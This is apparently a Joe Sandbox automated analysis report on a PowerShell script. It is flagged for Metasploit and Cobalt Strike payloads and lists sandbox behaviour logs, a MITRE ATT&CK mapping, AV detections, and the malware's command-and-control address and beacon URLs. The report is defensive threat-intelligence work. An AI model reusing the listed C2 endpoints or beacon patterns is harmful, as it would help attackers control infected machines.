Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 897547	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 897369	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 897218	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 897093	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 896953	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 896828	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 896641	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 896500	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 896390	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 896281	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 896172	Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Roaming\Microsoft\Windows	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\desktop.ini	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Roaming\Microsoft	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Roaming	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData	Jump to behavior

Source: powershell.exe, 00000002.00000002.616113565.000000000832F000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.616113565.000000000833D000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: Hyper-V RAW

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 2_3_080F9038 mov eax, dword ptr fs:[00000030h]		2_3_080F9038
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 2_3_080F83A8 mov eax, dword ptr fs:[00000030h]		2_3_080F83A8

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug			Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "c:\windows\syswow64\windowspowershell\v1.0\powershell.exe" -Version 5.1 -s -NoLogo -NoProfile

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Numerics\v4.0_4.0.0.0__b77a5c561934e089\System.Numerics.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Activities\v4.0_4.0.0.0__31bf3856ad364e35\System.Activities.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Activities.Presentation\v4.0_4.0.0.0__31bf3856ad364e35\System.Activities.Presentation.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.ConsoleHost\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.ConsoleHost.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\System.Management.Automation.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Numerics\v4.0_4.0.0.0__b77a5c561934e089\System.Numerics.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.DirectoryServices\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.DirectoryServices.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Management\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Management.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.Security\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Security.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.Commands.Utility\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Commands.Utility.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Configuration.Install\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Configuration.Install.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation	Jump to behavior

Remote Access Functionality

Yara detected MetasploitPayload

Source: Yara match	File source: 245f38b4b8a25754bf6e630f8e2acf59.ps1, type: SAMPLE
Source: Yara match	File source: 00000002.00000002.590121495.00000000058F1000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.580163042.000002B4E81A5000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.590121495.000000000567A000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.590121495.0000000005826000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.580163042.000002B4E82AC000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.590121495.000000000579A000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.314275079.000002B480021000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.631046566.000002B4F7A55000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.631046566.000002B4F7CB3000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.631046566.000002B4F81A5000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: powershell.exe PID: 6296, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: powershell.exe PID: 6452, type: MEMORYSTR

Yara detected CobaltStrike

Source: Yara match	File source: 00000002.00000003.418496631.00000000080F0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.617159585.0000000008846000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.590121495.0000000005826000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: powershell.exe PID: 6452, type: MEMORYSTR

Mitre Att&ck Matrix

Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Exfiltration	Command and Control	Network Effects	Remote Service Effects	Impact
Valid Accounts	Windows Management Instrumentation	Path Interception	11 Process Injection	1 Masquerading	OS Credential Dumping	1 Security Software Discovery	Remote Services	1 Archive Collected Data	Exfiltration Over Other Network Medium	1 Encrypted Channel	Eavesdrop on Insecure Network Communication	Remotely Track Device Without Authorization	Modify System Partition
Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	Boot or Logon Initialization Scripts	31 Virtualization/Sandbox Evasion	LSASS Memory	1 Process Discovery	Remote Desktop Protocol	Data from Removable Media	Exfiltration Over Bluetooth	1 Ingress Tool Transfer	Exploit SS7 to Redirect Phone Calls/SMS	Remotely Wipe Data Without Authorization	Device Lockout
Domain Accounts	At (Linux)	Logon Script (Windows)	Logon Script (Windows)	11 Process Injection	Security Account Manager	31 Virtualization/Sandbox Evasion	SMB/Windows Admin Shares	Data from Network Shared Drive	Automated Exfiltration	1 Non-Application Layer Protocol	Exploit SS7 to Track Device Location	Obtain Device Cloud Backups	Delete Device Data
Local Accounts	At (Windows)	Logon Script (Mac)	Logon Script (Mac)	1 Obfuscated Files or Information	NTDS	1 Application Window Discovery	Distributed Component Object Model	Input Capture	Scheduled Transfer	111 Application Layer Protocol	SIM Card Swap		Carrier Billing Fraud
Cloud Accounts	Cron	Network Logon Script	Network Logon Script	Software Packing	LSA Secrets	2 File and Directory Discovery	SSH	Keylogging	Data Transfer Size Limits	Fallback Channels	Manipulate Device Communication		Manipulate App Store Rankings or Ratings
Replication Through Removable Media	Launchd	Rc.common	Rc.common	Steganography	Cached Domain Credentials	11 System Information Discovery	VNC	GUI Input Capture	Exfiltration Over C2 Channel	Multiband Communication	Jamming or Denial of Service		Abuse Accessibility Features

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
245f38b4b8a25754bf6e630f8e2acf59.ps1	65%	ReversingLabs	Script-PowerShell.Trojan.Rozena
245f38b4b8a25754bf6e630f8e2acf59.ps1	100%	Avira	TR/Coblat.G1

Source	Detection	Scanner	Label
http://pesterbdd.com/images/Pester.png	0%	URL Reputation	safe
https://go.micro	0%	URL Reputation	safe
https://contoso.com/License	0%	URL Reputation	safe
http://88.216.210.27/design/query/9X5M3SOE0Ftipart/x-byteranges	0%	Avira URL Cloud	safe
https://contoso.com/Icon	0%	URL Reputation	safe
http://88.216.210.27/d	0%	Avira URL Cloud	safe
http://88.216.210.27/design/query/9X5M3SOE0F.0Q	0%	Avira URL Cloud	safe
https://contoso.com/	0%	URL Reputation	safe
http://88.216.210.27/design/query/9X5M3SOE0F.0U	0%	Avira URL Cloud	safe
http://88.216.210.27/design/query/9X5M3SOE0F.0	0%	Avira URL Cloud	safe
http://88.216.210.27/design/query/9X5M3SOE0Fz4	0%	Avira URL Cloud	safe
http://88.216.210.27/design/query/9X5M3SOE0F.0l	0%	Avira URL Cloud	safe
88.216.210.27	0%	Avira URL Cloud	safe
http://88.216.210.27/design/query/9X5M3SOE0F.0#	0%	Avira URL Cloud	safe
http://88.216.210.27/design/query/9X5M3SOE0F.0/	0%	Avira URL Cloud	safe
http://88.216.210.27/design/query/9X5M3SOE0F(	0%	Avira URL Cloud	safe
http://88.216.210.27/design/query/9X5M3SOE0F2534131000400000100010	0%	Avira URL Cloud	safe
http://88.216.210.27/design/query/9X5M3SOE0FK4	0%	Avira URL Cloud	safe
http://88.216.210.27/design/query/9X5M3SOE0FLd	0%	Avira URL Cloud	safe
http://88.216.210.27/design/query/9X5M3SOE0F	0%	Avira URL Cloud	safe

Name	Malicious	Antivirus Detection	Reputation
88.216.210.27	true	Avira URL Cloud: safe	unknown
http://88.216.210.27/design/query/9X5M3SOE0F	true	Avira URL Cloud: safe	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://88.216.210.27/design/query/9X5M3SOE0Ftipart/x-byteranges	powershell.exe, 00000002.00000002.601091963.000000000734B000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://nuget.org/NuGet.exe	powershell.exe, 00000000.00000002.631046566.000002B4F7CB3000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000000.00000002.631046566.000002B4F7B7D000.00000004.00000800.00020000.00000000.sdmp	false		high
http://88.216.210.27/d	powershell.exe, 00000002.00000002.616113565.000000000833D000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://pesterbdd.com/images/Pester.png	powershell.exe, 00000000.00000002.580163042.000002B4E7BE8000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.apache.org/licenses/LICENSE-2.0.html	powershell.exe, 00000000.00000002.580163042.000002B4E7BE8000.00000004.00000800.00020000.00000000.sdmp	false		high
https://go.micro	powershell.exe, 00000000.00000002.580163042.000002B4E8D89000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://88.216.210.27/design/query/9X5M3SOE0F.0Q	powershell.exe, 00000002.00000002.601091963.00000000072F4000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://contoso.com/License	powershell.exe, 00000000.00000002.631046566.000002B4F7B7D000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://contoso.com/Icon	powershell.exe, 00000000.00000002.631046566.000002B4F7B7D000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://jqueryui.com	powershell.exe, 00000002.00000002.601091963.00000000072D8000.00000004.00000020.00020000.00000000.sdmp	false		high
http://88.216.210.27/design/query/9X5M3SOE0F.0U	powershell.exe, 00000002.00000002.601091963.00000000072F4000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://github.com/Pester/Pester	powershell.exe, 00000000.00000002.580163042.000002B4E7BE8000.00000004.00000800.00020000.00000000.sdmp	false		high
http://88.216.210.27/design/query/9X5M3SOE0Fz4	powershell.exe, 00000002.00000002.601091963.000000000731E000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://88.216.210.27/design/query/9X5M3SOE0F.0#	powershell.exe, 00000002.00000002.601091963.00000000072F4000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://88.216.210.27/design/query/9X5M3SOE0F.0	powershell.exe, 00000002.00000002.601091963.00000000072F4000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://88.216.210.27/design/query/9X5M3SOE0F.0l	powershell.exe, 00000002.00000002.601091963.00000000072F4000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://88.216.210.27/design/query/9X5M3SOE0F.0/	powershell.exe, 00000002.00000002.601091963.00000000072F4000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://contoso.com/	powershell.exe, 00000000.00000002.631046566.000002B4F7B7D000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://nuget.org/nuget.exe	powershell.exe, 00000000.00000002.631046566.000002B4F7CB3000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000000.00000002.631046566.000002B4F7B7D000.00000004.00000800.00020000.00000000.sdmp	false		high
http://88.216.210.27/design/query/9X5M3SOE0FK4	powershell.exe, 00000002.00000002.601091963.000000000731E000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://88.216.210.27/design/query/9X5M3SOE0F(	powershell.exe, 00000002.00000002.601091963.000000000734B000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://88.216.210.27/design/query/9X5M3SOE0F2534131000400000100010	powershell.exe, 00000002.00000002.601091963.000000000734B000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	powershell.exe, 00000000.00000002.580163042.000002B4E79E1000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.577893401.0000000004611000.00000004.00000800.00020000.00000000.sdmp	false		high
http://88.216.210.27/design/query/9X5M3SOE0FLd	powershell.exe, 00000002.00000002.601091963.000000000734B000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
88.216.210.27	unknown	Lithuania		47838	SOCIUSLT	true

General Information

Joe Sandbox Version:	37.0.0 Beryl
Analysis ID:	843643
Start date and time:	2023-04-09 02:56:47 +02:00
Joe Sandbox Product:	CloudBasic
Overall analysis duration:	0h 8m 40s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 64 bit v1803 with Office Professional Plus 2016, Chrome 104, IE 11, Adobe Reader DC 19, Java 8 Update 211
Number of analysed new started processes analysed:	7
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled HDC enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample file name:	245f38b4b8a25754bf6e630f8e2acf59.ps1
Detection:	MAL
Classification:	mal92.troj.winPS1@5/7@0/1
EGA Information:	Successful, ratio: 50%
HDC Information:	Failed
HCA Information:	Successful, ratio: 100% Number of executed functions: 9 Number of non-executed functions: 5
Cookbook Comments:	Found application associated with file extension: .ps1

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, WMIADAP.exe, conhost.exe
Excluded domains from analysis (whitelisted): ctldl.windowsupdate.com
Execution Graph export aborted for target powershell.exe, PID 6296 because it is empty
Not all processes where analyzed, report is missing behavior information

Simulations

Behavior and APIs

Time	Type	Description
02:57:50	API Interceptor	932x Sleep call for process: powershell.exe modified

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
SOCIUSLT	https://www.wral.com/content/creative_services/promos/clickthru?ct=1&oaparams=2__bannerid=24__zoneid=2__cb=65bf79125e__oadest=http%3A%2F%2FSKBvb.cassini-avocats.fr?api=Z2FpbC5iYWxldHRpZUBjZWxpbmsuY29t	Get hash	malicious	Unknown	Browse	88.216.210.15
SOCIUSLT	PURZ3fCU46	Get hash	malicious	Mirai	Browse	88.216.240.249

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	modified
Size (bytes):	10014
Entropy (8bit):	4.948818928940409
Encrypted:	false
SSDEEP:	192:u3YrKkS9smd3YrKkkVsm5emla9sm5ib4q4dVsm5emljxoeRjp5Kib4NxoeRe5I2U:ASib4q4dPEib4BUpYdkjh4iUxB
MD5:	9A9635ED18206349D302FD0DEF27441A
SHA1:	0DC6AAC26BB2AD9448410D63F1FE1E411D3F151C
SHA-256:	1B3DAE378592D06AEC30FD7708609A8E5A80E5344E578712925C1AE6F7CA74B7
SHA-512:	8C8F9740DD4EA67F9C8736EF0BAE7BC21FE09F5DB6BBF4ADA62454E5FF984EBDD95C22282B7BA62DA1689A88D05045E515A540FCFB218C665DB327584A7B3158
Malicious:	false
Reputation:	moderate, very likely benign file
Preview:	PSMODULECACHE........e...[...C:\Program Files\WindowsPowerShell\Modules\PackageManagement\1.0.0.1\PackageManagement.psd1........Unregister-PackageSource........Save-Package........Install-PackageProvider........Find-PackageProvider........Install-Package........Get-PackageProvider........Get-Package........Uninstall-Package........Set-PackageSource........Get-PackageSource........Find-Package........Register-PackageSource........Import-PackageProvider........7.t8...C...C:\Program Files\WindowsPowerShell\Modules\Pester\3.4.0\Pester.psm1........SafeGetCommand........Get-ScriptBlockScope....$...Get-DictionaryValueFromFirstKeyFound........New-PesterOption........Invoke-Pester........ResolveTestScripts........Set-ScriptBlockScope.........w.e...a...C:\Program Files (x86)\WindowsPowerShell\Modules\PackageManagement\1.0.0.1\PackageManagement.psd1........Unregister-PackageSource........Save-Package........Install-PackageProvider........Find-PackageProvider........Install-Package........Get-P

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_cmrapxxo.hjk.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:U:U
MD5:	C4CA4238A0B923820DCC509A6F75849B
SHA1:	356A192B7913B04C54574D18C28D46E6395428AB
SHA-256:	6B86B273FF34FCE19D6B804EFF5A3F5747ADA4EAA22F1D49C01E52DDB7875B4B
SHA-512:	4DFF4EA340F0A823F15D3F4F01AB62EAE0E5DA579CCB851F8DB9DFE84C58B2B37B89903A740E1EE172DA793A6E79D560E5F7F9BD058A12A280433ED6FA46510A
Malicious:	false
Preview:	1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_en1bcru1.rwq.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:U:U
MD5:	C4CA4238A0B923820DCC509A6F75849B
SHA1:	356A192B7913B04C54574D18C28D46E6395428AB
SHA-256:	6B86B273FF34FCE19D6B804EFF5A3F5747ADA4EAA22F1D49C01E52DDB7875B4B
SHA-512:	4DFF4EA340F0A823F15D3F4F01AB62EAE0E5DA579CCB851F8DB9DFE84C58B2B37B89903A740E1EE172DA793A6E79D560E5F7F9BD058A12A280433ED6FA46510A
Malicious:	false
Preview:	1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_hjs0l0k3.1qz.ps1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	very short file (no magic)
